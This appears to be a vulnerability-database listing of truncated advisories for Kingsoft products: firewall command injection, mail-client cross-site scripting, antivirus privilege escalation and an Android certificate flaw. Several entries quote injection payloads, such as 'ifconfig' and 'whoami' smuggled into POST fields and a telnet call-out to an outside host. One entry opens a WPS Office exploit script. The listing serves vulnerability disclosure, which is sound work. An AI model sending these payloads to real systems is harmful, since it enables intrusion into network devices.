Remote Command Execution Vulnerability in Kingsoft Firewall System

Kingsoft Firewall System is a firewall product. A remote command execution vulnerability exists in Kingsoft Firewall System. The exploit: POST /src/system/post/postnetmanageMultiIp.php, allows attackers to traverse directories, collect sensitive directory and file information and remotely execute...

Cross-site Scripting Vulnerability in WPSMAIL Email Client

WPS Mail is a mail sending and receiving software developed by Kingsoft Group. There is a cross-site scripting vulnerability in the WPSMAIL email client, where js code is added to the content of sent emails, which triggers a cross-site attack when receiving emails...

Remote Command Execution Vulnerability in the IG_checkbox8 Parameter in the ipmac.php Page of Kingsoft KingGate Firewall

KingGate Firewall is a firewall product. A remote command execution vulnerability exists in the IGcheckbox8 parameter in the ipmac.php page of Kingsoft KingGate Firewall. An attacker is allowed to submit a POST request as: IGoperation=IGdelete&IGcheckbox8=11;ifconfig||x to execute system commands...

Remote Command Execution Vulnerability in the IG_dir Parameter in Kingsoft KingGate Firewall schedule.php Page

KingGate Firewall is a firewall product. A remote command execution vulnerability exists in the IGdir parameter in the schedule.php page of Kingsoft KingGate Firewall. It allows an attacker to execute system commands by submitting a POST request as: IGoperation=IGdelete&IGcheckbox=1...

Kingsoft KingGate firewall suffers from remote command execution vulnerability (CNVD-2016-05716)

KingGate Firewall is a firewall product. A remote command execution vulnerability exists in Kingsoft KingGate Firewall. It allows an attacker to remotely execute commands...

Kingsoft KingGate firewall suffers from remote command execution vulnerability (CNVD-2016-05715)

KingGate Firewall is a firewall product. Kingsoft KingGate Firewall has a remote command execution vulnerability. Construct URL: https://target/src/application/log/auditmail.php?IGfilename=1|telnet%20public server ip%209527;echo%20&tablename=3333 can execute system commands on public network The...

Kingsoft KingGate Firewall Has Remote Command Execution Vulnerability

KingGate Firewall is a firewall product. A remote command execution vulnerability exists in Kingsoft KingGate Firewall. An attacker is allowed to exploit the vulnerability by submitting POST data as: IGmode=a|whoami || to execute system commands...

Kingsoft WPS Office Memory Corruption Vulnerability

Kingsoft WPS Office is an office software suite with popular components such as Writer, Spreadsheets and Presentation. A memory corruption vulnerability exists in Kingsoft WPS Office, which could be exploited by an attacker to construct a malicious file that could be parsed by the user, causing t...

金山手机助手服务权限提升漏洞

No description provided by source...

金山毒霸权限提升漏洞

No description provided by source...

金山卫士权限提升漏洞

No description provided by source...

Kingsoft Defender Elevation of Privilege Vulnerability

Kingsoft Defender is a free security software with strong Trojan detection capability, fast vulnerability detection and compact size produced by Kingsoft Network Technology Co. The system service installed by Kingsoft Defender provides the function of creating high-privilege processes, but there...

Kingsoft Antivirus Elevation of Privilege Vulnerability

Kingsoft AntiVirus is a highly intelligent anti-virus software officially developed by Kingsoft. The system service installed by Kingsoft Antivirus provides the ability to create elevated privilege processes, but there are vulnerabilities in the validation process that allow code to be executed...

Kingsoft Mobile Assistant Service Privilege Elevation Vulnerability

Kingsoft Mobile Assistant is the official cell phone resources access platform launched by Kingsoft, Kingsoft Mobile Assistant, formerly known as Kingsoft Mobile Control, can provide cell phone users with a huge number of applications to download, wonderful games, useful software, beautiful...

Kingsoft enterprise terminal protection optimization system Web Console without having to log any file deleted-bug warning-the black bar safety net

Kingsoft enterprise terminal protection optimization system Web Console without having to log arbitrary file deletion Arbitrary file deletion: File:/tools/manage/deletetools.php code area children; $i++ if $xml-tool$i-id == $id @unlink"../".$ xml-tool$i-name; if$xml-tool$i-image != "test. png"...

Kingsoft-Office-Writer-8.1.0.3385

Author: Julien Ahrens @MrTuxracer Homepage: http://www.rcesecurity.com Software Link: http://www.kingsoftstore.com Tested on: WinXP-GER, Win7-GER, Win8-EN from struct import pack file="exploit.wps" head="\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1\x00\x00\x00\x00\x00\x00\x00\x00"+...

Security Advisory-Multiple Vulnerabilities on Huawei P2 Smartphone

This security advisory SA describes two vulnerabilities. The decoder driver of P2 was found to allow any application to read or write to an arbitrary memory address. HWPSIRT-2014-0401 This Vulnerability has been assigned Common Vulnerabilities and Exposures CVE ID: CVE-2014-2273. The Kingsoft...

CVE-2014-6692

The Kingsoft Clip Office Tool aka cn.wps.clip application 1.5.1 for Android does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate...

Design/Logic Flaw

The Kingsoft Clip Office Tool aka cn.wps.clip application 1.5.1 for Android does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate...

CVE-2014-6692

The CVE-2014-6692 issue affects the Android app Kingsoft Clip (Office Tool) cn.wps.clip, version 1.5.1. The underlying flaw is that the app does not verify X.509 certificates from SSL servers, enabling a man‑in‑the‑middle attacker to spoof servers and potentially exfiltrate sensitive information ...